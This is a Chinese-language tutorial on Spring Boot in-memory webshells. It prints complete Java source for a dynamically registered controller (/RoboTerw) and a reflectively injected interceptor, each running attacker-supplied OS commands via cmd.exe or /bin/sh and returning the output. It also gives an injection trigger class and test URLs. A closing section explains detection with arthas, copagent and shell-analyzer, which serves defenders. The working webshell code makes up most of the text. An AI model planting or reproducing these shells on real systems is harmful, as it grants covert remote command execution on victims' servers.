内存马基础知识
这段代码是一个Java类,命名为myInjectController3。它是一个自定义的控制器(Controller),用于处理HTTP请求。
该控制器类中的静态代码块在类加载时被执行,主要实现了动态注册一个URL映射,并指定了对应的处理方法。具体步骤如下:
从当前请求上下文中获取RequestMappingHandlerMapping实例,即Spring MVC中负责处理URL映射的类。使用反射获取myInjectController3类中的test方法对象。定义要映射的URL地址和允许的HTTP请求方法。创建RequestMappingInfo对象,用于封装URL、HTTP方法等信息。创建一个myInjectController3的实例,并将其方法与URL映射信息注册到RequestMappingHandlerMapping中。myInjectController3类中的test方法是处理具体请求的方法。它首先获取请求和响应对象,然后根据请求中的参数执行命令,并将结果返回给客户端。
需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作
myInjectController3.java
package com.lbc.controller;import org.springframework.web.bind.annotation.RequestMethod;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.context.request.ServletRequestAttributes;import org.springframework.web.servlet.mvc.condition.PatternsRequestCondition;import org.springframework.web.servlet.mvc.condition.RequestMethodsRequestCondition;import org.springframework.web.servlet.mvc.method.RequestMappingInfo;import org.springframework.web.servlet.mvc.method.annotation.RequestMappingHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.IOException;import java.io.PrintWriter;import java.lang.reflect.Method;public class myInjectController3 {static {WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);// 1. 从当前上下文环境中获得 RequestMappingHandlerMapping 的实例 beanRequestMappingHandlerMapping mappingHandlerMapping = context.getBean(RequestMappingHandlerMapping.class);// 2. 通过反射获得自定义 controller 中test的 Method 对象Method method2 = null;try {method2 = myInjectController3.class.getMethod("test");} catch (NoSuchMethodException e) {e.printStackTrace();}// 3. 定义访问 controller 的 URL 地址PatternsRequestCondition url = new PatternsRequestCondition("/RoboTerw");// 4. 定义允许访问 controller 的 HTTP 方法(GET/POST)//为空的则GET是可以访问的RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition();// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.GET);//定义POST如下定义// RequestMethodsRequestCondition ms = new RequestMethodsRequestCondition(RequestMethod.POST);// 5. 在内存中动态注册 controllerRequestMappingInfo info = new RequestMappingInfo(url, ms, null, null, null, null, null);// 创建用于处理请求的对象,加入“aaa”参数是为了触发第二个构造函数避免无限循环myInjectController3 evilController = new myInjectController3("aaa");mappingHandlerMapping.registerMapping(info, evilController, method2);}public myInjectController3(String aaa) {}public void test() throws IOException{// 获取request和response对象HttpServletRequest request = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getRequest();HttpServletResponse response = ((ServletRequestAttributes) (RequestContextHolder.currentRequestAttributes())).getResponse();//exectry {String arg0 = request.getParameter("cmd");PrintWriter writer = response.getWriter();if (arg0 != null) {String o = "";java.lang.ProcessBuilder p;if(System.getProperty("os.name").toLowerCase().contains("win")){p = new java.lang.ProcessBuilder(new String[]{"cmd.exe", "/c", arg0});}else{p = new java.lang.ProcessBuilder(new String[]{"/bin/sh", "-c", arg0});}java.util.Scanner c = new java.util.Scanner(p.start().getInputStream()).useDelimiter("\\A");o = c.hasNext() ? c.next(): o;c.close();writer.write(o);writer.flush();writer.close();}else{response.sendError(404);}}catch (Exception e){}}}
这段代码是一个myInjectInterceptor1类,它实现了HandlerInterceptor接口,是一个Spring MVC的拦截器。
在类的静态代码块中,它通过RequestContextHolder获取了当前请求的上下文,并从中获取了AbstractHandlerMapping对象。然后,利用反射技术修改了AbstractHandlerMapping对象中的adaptedInterceptors属性。将自定义的拦截器myInjectInterceptor1添加到了拦截器列表中。
myInjectInterceptor1类中重写了preHandle方法,它是在进入请求处理方法之前执行的逻辑。在该方法中,它首先获取请求参数中的cmwpzz值(命令参数),然后根据操作系统类型使用不同的命令执行方式(Windows系统使用cmd.exe /c,Linux系统使用/bin/bash -c)执行命令,并将命令的输出返回给客户端。
需要注意的是,这段代码存在严重的安全问题。它通过执行用户传入的命令,可能导致系统遭受恶意攻击或执行危险操作
myInjectInterceptor1.java
package com.lbc.controller;import org.springframework.web.context.WebApplicationContext;import org.springframework.web.context.request.RequestContextHolder;import org.springframework.web.servlet.HandlerInterceptor;import org.springframework.web.servlet.ModelAndView;import org.springframework.web.servlet.handler.AbstractHandlerMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;import java.io.BufferedReader;import java.io.InputStreamReader;import java.lang.reflect.Field;public class myInjectInterceptor1 implements HandlerInterceptor {static {//首先是利用RequestContextHolder类来获取对应的属性值。WebApplicationContext context = (WebApplicationContext) RequestContextHolder.currentRequestAttributes().getAttribute("org.springframework.web.servlet.DispatcherServlet.CONTEXT", 0);AbstractHandlerMapping abstractHandlerMapping = context.getBean(AbstractHandlerMapping.class);Field field = null;try {field = AbstractHandlerMapping.class.getDeclaredField("adaptedInterceptors");} catch (NoSuchFieldException e) {e.printStackTrace();}field.setAccessible(true);java.util.ArrayList<Object> adaptedInterceptors = null;try {//准备动态修改abstractHandlerMapping值adaptedInterceptors = (java.util.ArrayList<Object>)field.get(abstractHandlerMapping);} catch (IllegalAccessException e) {e.printStackTrace();}myInjectInterceptor1 evilInterceptor = new myInjectInterceptor1("aaa");adaptedInterceptors.add(evilInterceptor);}public myInjectInterceptor1(String aaa) {}public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception {String cmd = request.getParameter("cmwpzz");if (cmd != null) {try {java.io.PrintWriter printWriter = response.getWriter();ProcessBuilder builder;if (System.getProperty("os.name").toLowerCase().contains("win")) {builder = new ProcessBuilder(new String[]{"cmd.exe", "/c", cmd});} else {builder = new ProcessBuilder(new String[]{"/bin/bash", "-c", cmd});}BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(builder.start().getInputStream()));String line;while ((line = bufferedReader.readLine()) != null) {printWriter.println(line);}printWriter.flush();printWriter.close();} catch (Exception e) {e.printStackTrace();}return false;}return true;}public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception {// HandlerInterceptor.super.postHandle(request, response, handler, modelAndView);}public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception {// HandlerInterceptor.super.afterCompletion(request, response, handler, ex);}}
注入springboot项目。可以模拟反序列化漏洞进行注入:
testInjectInterceptor.java
package com.lbc.controller;import org.springframework.stereotype.Controller;import org.springframework.web.bind.annotation.GetMapping;import org.springframework.web.bind.annotation.RequestMapping;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;("/addSpringInterceptor")public class testInjectInterceptor {public void test(HttpServletRequest httpServletRequest, HttpServletResponse httpServletResponse) throws Exception {try {//这里使用class.forname的方式或new 一个对象的方式都可以执行其中static的代码。加载class字节码本质就是会自动new 一个对象。// Class.forName("com.lbc.controller.myInjectController3");new myInjectInterceptor1("wdaaazz");httpServletResponse.getWriter().println("add successfully!");} catch (Exception e) {e.printStackTrace();}}}
环境启动:
java version "1.8.0_202" java -jar helloworld-1.0-SNAPSHOT.jar
测试 Interceptor
先访问http://127.0.0.1:8080/addSpringInterceptor

再访问http://127.0.0.1:8080/addSpringInterzz?cmwpzz=ls

测试 Controller
先访问http://127.0.0.1:8080/addController

再访问http://127.0.0.1:8080/RoboTerw?cmd=ls

测试 ws内存马
先访问http://127.0.0.1:8080/testInjectWsCmd

使用websocket客户端连接:ws://localhost:8080/cmd

查杀:
方式一:使用arthas-boot.jar工具。
地址:https://arthas.aliyun.com/arthas-boot.jar
java -jar arthas-boot.jar --telnet-port 8081 --http-port -1
输入1

过滤filter:sc *.Filter

查看源码:
jad --source-only org.apache.tomcat.websocket.server.WsFilter

查杀spring内存马:需要自己手动找 输入:sc * | grep my

根据过滤出来的类进行反编译: jad --source-only com.lbc.controller.myInjectInterceptor1

可以写个脚本根据某些关键字进行过滤,比如WebApplicationContext、servlet、cmd等等。
方式二:使用cop.jar工具
地址:https://github.com/LandGrey/copagent/raw/release/cop.jar 启动: java -jar cop.jar

直接查看result,能查看到源码。但不算全。

方式三:使用shell-analyzer工具
地址:https://github.com/4ra1n/shell-analyzer
mac运行示例:
/Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/bin/java -cp /Library/Java/JavaVirtualMachines/jdk1.8.0_202.jdk/Contents/Home/lib/tools.jar:gui-0.1.jar com.n1ar4.Application

先检测、再attach、再刷新即可。这里只检测了tomcat系列的内存马。反编译成功。
总结一下:spring 的还真的需要arthas 肉眼看一下,看的思路可以参考业务代码做排除法,还可以参考github 上所有内存马项目,提取代码做一下grep,或者逆一下源码看Runtime/ProcessBuilder/JNDI lookup 等危险 INVOKE 指令!

